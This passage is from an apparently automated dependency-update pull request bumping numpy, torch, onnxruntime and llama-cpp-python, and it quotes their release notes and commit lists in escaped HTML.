(truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/26e81854b03fea36ac2b21e3158756fdd40f19bb\"\u003e\u003ccode\u003e26e8185\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31441\"\u003e#31441\u003c/a\u003e from charris/prepare-2.4.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/573110c57cf0fcb8b8c922c4d4334ed6eb779727\"\u003e\u003ccode\u003e573110c\u003c/code\u003e\u003c/a\u003e REL: Prepare for the NumPy 2.4.5 release.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/be6123aecff71ac70f304347fcf066ba328d7e4e\"\u003e\u003ccode\u003ebe6123a\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31426\"\u003e#31426\u003c/a\u003e from jorenham/backport-31425\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/a286f52cfc7411deb39de391dfc7164070e19365\"\u003e\u003ccode\u003ea286f52\u003c/code\u003e\u003c/a\u003e TYP: Fix \u003ccode\u003eDTypeLike\u003c/code\u003e runtime type-checker support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/f880727ca1ef2aa784cf9986ac662744e3302cef\"\u003e\u003ccode\u003ef880727\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31404\"\u003e#31404\u003c/a\u003e from charris/backport-31399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/626d469496ba909ad73acb0f3744c72027244c4e\"\u003e\u003ccode\u003e626d469\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31402\"\u003e#31402\u003c/a\u003e from charris/backport-31397\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/a42bd48565ae12a2258b343c6250a3a7ab22712c\"\u003e\u003ccode\u003ea42bd48\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31401\"\u003e#31401\u003c/a\u003e from charris/backport-31396\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/207ad05615ca78c0b39ee1f02985c6b34d2098c3\"\u003e\u003ccode\u003e207ad05\u003c/code\u003e\u003c/a\u003e TYP: \u003ccode\u003e_NestedSequence\u003c/code\u003e type parameter default to work around a mypy issue (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/3\"\u003e#3\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/309b6373180a2320a23eecfdb8609c7746eda8a9\"\u003e\u003ccode\u003e309b637\u003c/code\u003e\u003c/a\u003e BUG: exclude \u003cstrong\u003epycache\u003c/strong\u003e directories from wheels (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31397\"\u003e#31397\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/8ded93cba4c57708fe7ead08d2d6f0045952f6d4\"\u003e\u003ccode\u003e8ded93c\u003c/code\u003e\u003c/a\u003e BUG: Avoid UB in safe_[add,sub,mul] helpers (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31396\"\u003e#31396\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/numpy/numpy/compare/v2.4.4...v2.4.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `torch` from 2.11.0 to 2.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytorch/pytorch/releases\"\u003etorch's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ePyTorch 2.12.0 Release Notes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#highlights\"\u003eHighlights\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#backwards-incompatible-changes\"\u003eBackwards Incompatible Changes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#deprecations\"\u003eDeprecations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#new-features\"\u003eNew Features\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#improvements\"\u003eImprovements\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#bug-fixes\"\u003eBug fixes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#performance\"\u003ePerformance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#documentation\"\u003eDocumentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#developers\"\u003eDevelopers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#security\"\u003eSecurity\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHighlights\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eFor more details about these highlighted features, you can look at the release blogpost. Below are the full release notes for this release.\u003c/p\u003e\n\u003ch1\u003eBackwards Incompatible Changes\u003c/h1\u003e\n\u003ch2\u003eBuild Frontend\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eStrengthened SVE compile checks in \u003ccode\u003eFindARM.cmake\u003c/code\u003e, which may reject previously accepted but incorrect SVE configurations (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/176646\"\u003e#176646\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eSource builds that enable SVE now validate the compiler configuration more strictly. If a build previously passed with an incomplete or mismatched SVE setup, it may now fail during CMake configuration instead of later in compilation. Update the compiler/toolchain flags so they accurately describe the target SVE support, or disable SVE for that build.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated the minimum CUDA version required to build PyTorch from source to CUDA 12.6 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178925\"\u003e#178925\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eBuilding PyTorch from source with CUDA versions older than 12.6 is no longer supported. Users building custom binaries should install CUDA 12.6 or newer and make sure \u003ccode\u003eCUDA_HOME\u003c/code\u003e points to that installation.\u003c/p\u003e\n\u003cp\u003eVersion 2.11:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.4 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVersion 2.12:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.6 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnforced a C++20 minimum in CMake build files (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178662\"\u003e#178662\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/0d62256a2b23365f8e1604297eb23a6545102aa8\"\u003e\u003ccode\u003e0d62256\u003c/code\u003e\u003c/a\u003e [release] Dockerfile: skip torchaudio install when CUDA_PATH=cu132 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/183346\"\u003e#183346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/7661cd9c6b841b62b7f411aa52ec51f05457263b\"\u003e\u003ccode\u003e7661cd9\u003c/code\u003e\u003c/a\u003e [MPS] Fix SDPA wrong output for permuted q/k/v with B \u0026gt; 1 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181886\"\u003e#181886\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/9da6087ab64ab6a2118686420ca5353c90dd7e1f\"\u003e\u003ccode\u003e9da6087\u003c/code\u003e\u003c/a\u003e Fix stale PYTORCH_RELEASES_CODE_CC dict (fixes \u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182250\"\u003e#182250\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182369\"\u003e#182369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/e4c37cc011d47246ce8ea4b99c9b28fb7f400224\"\u003e\u003ccode\u003ee4c37cc\u003c/code\u003e\u003c/a\u003e Avoid raw stream name collisions in Inductor (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182178\"\u003e#182178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/822d047dc8dd8d919f83c3ad5c786e405075d1f0\"\u003e\u003ccode\u003e822d047\u003c/code\u003e\u003c/a\u003e [MPS] Fix bool mask handling in 1-pass SDPA decode kernel (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182285\"\u003e#182285\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182311\"\u003e#182311\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/5c5e523cd520e6986006e45be243b3ee927ea546\"\u003e\u003ccode\u003e5c5e523\u003c/code\u003e\u003c/a\u003e Add enable_gqa parameter to SDPA MPS meta registration (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181550\"\u003e#181550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/eece52ead16886e5463c3dcee9b04db783cc68d5\"\u003e\u003ccode\u003eeece52e\u003c/code\u003e\u003c/a\u003e [AOTI] Add BC-safe c_shim v2 for _scaled_dot_product_attention_math_for_mps e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/b39330bbe210b9628207e84d8ba2cabb7975fbac\"\u003e\u003ccode\u003eb39330b\u003c/code\u003e\u003c/a\u003e [Inductor] Call latest c_shim version for versioned fallback ops (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181548\"\u003e#181548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/06f10d088229a25ac52bd14b6cacc04a4161f6ca\"\u003e\u003ccode\u003e06f10d0\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[FSDP2] add fqn to communication ops\u0026quot; (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182100\"\u003e#182100\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182157\"\u003e#182157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/449e3393139a1aca9afec120c9a63f98f12d55b0\"\u003e\u003ccode\u003e449e339\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[Inductor] Improve materialization heuristic for a chain of computaio...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytorch/pytorch/compare/v2.11.0...v2.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.23\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4a1a8ecd8047149b24a6d997f6f8c992d49aa99a\"\u003e\u003ccode\u003e4a1a8ec\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.23 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/568411233f5f326f80c41c6e026bc80f27c00e69\"\u003e\u003ccode\u003e5684112\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 7d442abf (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f8c1f36be8116b1213e0e77df7fa9403ba3acd59\"\u003e\u003ccode\u003ef8c1f36\u003c/code\u003e\u003c/a\u003e fix(embed): mark all tokens as output to suppress llama.cpp 'overriding' INFO...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f7746900c0b70cd3deab2384ef2a108597eb1744\"\u003e\u003ccode\u003ef774690\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 5d6f18a63 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2207\"\u003e#2207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/128c331bd984a641435b9a563626e4aa06b987d2\"\u003e\u003ccode\u003e128c331\u003c/code\u003e\u003c/a\u003e fix: configure n_seq_max for batched embeddings (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2206\"\u003e#2206\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/90e8df958ba81dafc5386999b3948784d7990a12\"\u003e\u003ccode\u003e90e8df9\u003c/code\u003e\u003c/a\u003e fix(\u003cem\u003einternals): use n_tokens0 offset when enabling last-token logits in add\u003c/em\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca 